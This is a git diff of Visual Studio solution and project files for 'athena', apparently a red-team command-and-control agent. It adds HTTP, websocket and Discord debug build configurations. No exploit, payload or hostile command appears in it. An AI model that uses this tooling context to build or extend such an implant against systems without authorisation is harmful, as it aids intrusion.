{AEF6D2E1-0A78-4701-B741-4680643ABD8E}.Debug|Any CPU.Build.0 = Debug|Any CPU - {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.Release|Any CPU.ActiveCfg = Release|Any CPU {AEF6D2E1-0A78-4701-B741-4680643ABD8E}.Release|Any CPU.Build.0 = Release|Any CPU {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.Release|Any CPU.ActiveCfg = Release|Any CPU {4CD72CDE-79FB-40FC-B88C-E55840BB4E0F}.Release|Any CPU.Build.0 = Release|Any CPU {1393A5DC-8AF8-4184-AA20-10424DC964CF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {1393A5DC-8AF8-4184-AA20-10424DC964CF}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1393A5DC-8AF8-4184-AA20-10424DC964CF}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {1393A5DC-8AF8-4184-AA20-10424DC964CF}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {1393A5DC-8AF8-4184-AA20-10424DC964CF}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {1393A5DC-8AF8-4184-AA20-10424DC964CF}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {1393A5DC-8AF8-4184-AA20-10424DC964CF}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {1393A5DC-8AF8-4184-AA20-10424DC964CF}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {1393A5DC-8AF8-4184-AA20-10424DC964CF}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {1393A5DC-8AF8-4184-AA20-10424DC964CF}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {1393A5DC-8AF8-4184-AA20-10424DC964CF}.Release|Any CPU.ActiveCfg = Release|Any CPU {1393A5DC-8AF8-4184-AA20-10424DC964CF}.Release|Any CPU.Build.0 = Release|Any CPU {B8824852-02BB-46A6-BCB4-4C38D81DE198}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B8824852-02BB-46A6-BCB4-4C38D81DE198}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B8824852-02BB-46A6-BCB4-4C38D81DE198}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {B8824852-02BB-46A6-BCB4-4C38D81DE198}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {B8824852-02BB-46A6-BCB4-4C38D81DE198}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {B8824852-02BB-46A6-BCB4-4C38D81DE198}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {B8824852-02BB-46A6-BCB4-4C38D81DE198}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {B8824852-02BB-46A6-BCB4-4C38D81DE198}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {B8824852-02BB-46A6-BCB4-4C38D81DE198}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {B8824852-02BB-46A6-BCB4-4C38D81DE198}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {B8824852-02BB-46A6-BCB4-4C38D81DE198}.Release|Any CPU.ActiveCfg = Release|Any CPU {B8824852-02BB-46A6-BCB4-4C38D81DE198}.Release|Any CPU.Build.0 = Release|Any CPU {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.Release|Any CPU.ActiveCfg = Release|Any CPU {6C5C21EE-9E5D-41FC-8507-AFF4A82E4293}.Release|Any CPU.Build.0 = Release|Any CPU {BDC5BA43-A579-4F82-BF35-BF38EB047174}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {BDC5BA43-A579-4F82-BF35-BF38EB047174}.Debug|Any CPU.Build.0 = Debug|Any CPU - {BDC5BA43-A579-4F82-BF35-BF38EB047174}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {BDC5BA43-A579-4F82-BF35-BF38EB047174}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {BDC5BA43-A579-4F82-BF35-BF38EB047174}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {BDC5BA43-A579-4F82-BF35-BF38EB047174}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {BDC5BA43-A579-4F82-BF35-BF38EB047174}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {BDC5BA43-A579-4F82-BF35-BF38EB047174}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {BDC5BA43-A579-4F82-BF35-BF38EB047174}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {BDC5BA43-A579-4F82-BF35-BF38EB047174}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {BDC5BA43-A579-4F82-BF35-BF38EB047174}.Release|Any CPU.ActiveCfg = Release|Any CPU {BDC5BA43-A579-4F82-BF35-BF38EB047174}.Release|Any CPU.Build.0 = Release|Any CPU {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.Debug|Any CPU.Build.0 = Debug|Any CPU - {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.Release|Any CPU.ActiveCfg = Release|Any CPU {D300CB3D-A5B3-4A50-95CD-EC3AB5FE33E2}.Release|Any CPU.Build.0 = Release|Any CPU {A71485A9-C9BC-4B1F-A348-581F24E026D4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {A71485A9-C9BC-4B1F-A348-581F24E026D4}.Debug|Any CPU.Build.0 = Debug|Any CPU - {A71485A9-C9BC-4B1F-A348-581F24E026D4}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {A71485A9-C9BC-4B1F-A348-581F24E026D4}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {A71485A9-C9BC-4B1F-A348-581F24E026D4}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {A71485A9-C9BC-4B1F-A348-581F24E026D4}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {A71485A9-C9BC-4B1F-A348-581F24E026D4}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {A71485A9-C9BC-4B1F-A348-581F24E026D4}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {A71485A9-C9BC-4B1F-A348-581F24E026D4}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {A71485A9-C9BC-4B1F-A348-581F24E026D4}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {A71485A9-C9BC-4B1F-A348-581F24E026D4}.Release|Any CPU.ActiveCfg = Release|Any CPU {A71485A9-C9BC-4B1F-A348-581F24E026D4}.Release|Any CPU.Build.0 = Release|Any CPU {1E847515-2E5B-48A3-B267-3800CFF98338}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {1E847515-2E5B-48A3-B267-3800CFF98338}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1E847515-2E5B-48A3-B267-3800CFF98338}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {1E847515-2E5B-48A3-B267-3800CFF98338}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {1E847515-2E5B-48A3-B267-3800CFF98338}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {1E847515-2E5B-48A3-B267-3800CFF98338}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {1E847515-2E5B-48A3-B267-3800CFF98338}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {1E847515-2E5B-48A3-B267-3800CFF98338}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {1E847515-2E5B-48A3-B267-3800CFF98338}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {1E847515-2E5B-48A3-B267-3800CFF98338}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {1E847515-2E5B-48A3-B267-3800CFF98338}.Release|Any CPU.ActiveCfg = Release|Any CPU {1E847515-2E5B-48A3-B267-3800CFF98338}.Release|Any CPU.Build.0 = Release|Any CPU {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.Release|Any CPU.ActiveCfg = Release|Any CPU {D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D}.Release|Any CPU.Build.0 = Release|Any CPU {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.LocalDebug|Any CPU.ActiveCfg = LocalDebug|Any CPU - {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.LocalDebug|Any CPU.Build.0 = LocalDebug|Any CPU + {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.Release|Any CPU.ActiveCfg = Release|Any CPU {4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.Release|Any CPU.Build.0 = Release|Any CPU {84378312-9D23-4DFF-ACA2-587EC463BB79}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {84378312-9D23-4DFF-ACA2-587EC463BB79}.Debug|Any CPU.Build.0 = Debug|Any CPU - {84378312-9D23-4DFF-ACA2-587EC463BB79}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {84378312-9D23-4DFF-ACA2-587EC463BB79}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {84378312-9D23-4DFF-ACA2-587EC463BB79}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {84378312-9D23-4DFF-ACA2-587EC463BB79}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {84378312-9D23-4DFF-ACA2-587EC463BB79}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {84378312-9D23-4DFF-ACA2-587EC463BB79}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {84378312-9D23-4DFF-ACA2-587EC463BB79}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {84378312-9D23-4DFF-ACA2-587EC463BB79}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {84378312-9D23-4DFF-ACA2-587EC463BB79}.Release|Any CPU.ActiveCfg = Release|Any CPU {84378312-9D23-4DFF-ACA2-587EC463BB79}.Release|Any CPU.Build.0 = Release|Any CPU {540E8838-071D-4DBE-8A5B-D897278720F7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {540E8838-071D-4DBE-8A5B-D897278720F7}.Debug|Any CPU.Build.0 = Debug|Any CPU - {540E8838-071D-4DBE-8A5B-D897278720F7}.LocalDebug|Any CPU.ActiveCfg = Debug|Any CPU - {540E8838-071D-4DBE-8A5B-D897278720F7}.LocalDebug|Any CPU.Build.0 = Debug|Any CPU + {540E8838-071D-4DBE-8A5B-D897278720F7}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {540E8838-071D-4DBE-8A5B-D897278720F7}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {540E8838-071D-4DBE-8A5B-D897278720F7}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {540E8838-071D-4DBE-8A5B-D897278720F7}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {540E8838-071D-4DBE-8A5B-D897278720F7}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {540E8838-071D-4DBE-8A5B-D897278720F7}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {540E8838-071D-4DBE-8A5B-D897278720F7}.Release|Any CPU.ActiveCfg = Release|Any CPU {540E8838-071D-4DBE-8A5B-D897278720F7}.Release|Any CPU.Build.0 = Release|Any CPU {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.LocalDebug|Any CPU.ActiveCfg = LocalDebug|Any CPU - {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.LocalDebug|Any CPU.Build.0 = LocalDebug|Any CPU + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.LocalDebugDiscord|Any CPU.ActiveCfg = LocalDebugDiscord|Any CPU + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.LocalDebugDiscord|Any CPU.Build.0 = LocalDebugDiscord|Any CPU + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.LocalDebugHttp|Any CPU.ActiveCfg = LocalDebugHttp|Any CPU + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.LocalDebugHttp|Any CPU.Build.0 = LocalDebugHttp|Any CPU + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.LocalDebugWebsocket|Any CPU.ActiveCfg = LocalDebugWebsocket|Any CPU + {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.LocalDebugWebsocket|Any CPU.Build.0 = LocalDebugWebsocket|Any CPU {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.Release|Any CPU.ActiveCfg = Release|Any CPU {E6D5BCDC-D3F9-4537-B2EE-B6C4B8CE93E7}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection diff --git a/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj b/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj index 9cc44284b..9a9fc5f5d 100644 --- a/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj +++ b/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj @@ -5,7 +5,7 @@ net7.0 enable enable - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord @@ -44,10 +44,30 @@ CHECKYMANDERDEV + + CHECKYMANDERDEV + + + + + + CHECKYMANDERDEV + - + + + + + CHECKYMANDERDEV + + + + + + + @@ -232,69 +252,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests.Defender/Agent.Tests.Defender.csproj b/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests.Defender/Agent.Tests.Defender.csproj index 1fc8fabe3..a6497707b 100644 --- a/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests.Defender/Agent.Tests.Defender.csproj +++ b/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests.Defender/Agent.Tests.Defender.csproj @@ -7,7 +7,7 @@ false true - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord diff --git a/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests/Agent.Tests.csproj b/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests/Agent.Tests.csproj index 5a3a6e55d..1c554e7a7 100644 --- a/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests/Agent.Tests.csproj +++ b/Payload_Type/athena/athena/agent_code/Tests/Agent.Tests/Agent.Tests.csproj @@ -7,7 +7,7 @@ false - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord diff --git a/Payload_Type/athena/athena/agent_code/arp/arp.csproj b/Payload_Type/athena/athena/agent_code/arp/arp.csproj index 9a4a7a22d..d7b761a68 100644 --- a/Payload_Type/athena/athena/agent_code/arp/arp.csproj +++ b/Payload_Type/athena/athena/agent_code/arp/arp.csproj @@ -4,7 +4,7 @@ net7.0 enable enable - Debug;Release;LocalDebug + Debug;Release;LocalDebug;LocalDebugHttp;LocalDebugWebsocket;LocalDebugDiscord